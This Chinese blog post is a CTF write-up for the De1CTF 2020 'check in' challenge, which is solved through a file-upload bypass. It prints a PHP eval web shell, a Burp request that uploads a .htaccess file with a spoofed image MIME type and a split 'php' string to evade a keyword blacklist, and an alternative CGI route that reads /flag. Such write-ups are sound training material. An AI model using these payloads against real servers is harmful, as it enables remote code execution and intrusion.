De1ctf 2020 -'check in' writeup

原创

尸者狗 于 2020-05-06 12:18:45 发布

分类专栏： ctf-writeup 文章标签： 安全

本文链接：https://blog.csdn.net/Alexhcf/article/details/105946638

这道题很有意思，考察知识点:.htaccess文件上传、改文件type、字符匹配的绕过

文件内容过滤了很多字符

```
perl|pyth|ph|auto|curl|base|>|rm|ruby|openssl|war|lua|msf|xter|telnet in contents!
```

所以两个文件都不能出现这些字符，参考这篇文章的

马，fuzz `https://blog.csdn.net/l1028386804/article/details/84206143`

传jpg格式的shell

```
<?=eval($_POST[123]);
```

传.htaccess文件，burp抓包，mime改成`image/jpeg`过文件类型检查

```
DNT: 1
Connection: close
Referer: http://129.204.21.115/index.php
Upgrade-Insecure-Requests: 1

-----------------------------20939308123780
Content-Disposition: form-data; name="fileUpload"; filename=".htaccess"
Content-Type: image/jpeg

AddType application/x-httpd-p\
hp .jpg

-----------------------------20939308123780
Content-Disposition: form-data; name="upload"

submit
-----------------------------20939308123780--
```


.htaccess文件内容

```
AddType application/x-httpd-p\
hp .jpg
```

另一种解

来源`https://mp.weixin.qq.com/s/pbk6RWqW3nJXaWPPlXPwNA`

.htaccess

```
Options +ExecCGI
AddHandler cgi-script .sh
```

上传cgi脚本

```
#!/bin/bash
echo "Content-Type: text/plain"
echo ""
cat /flag
exit 0
```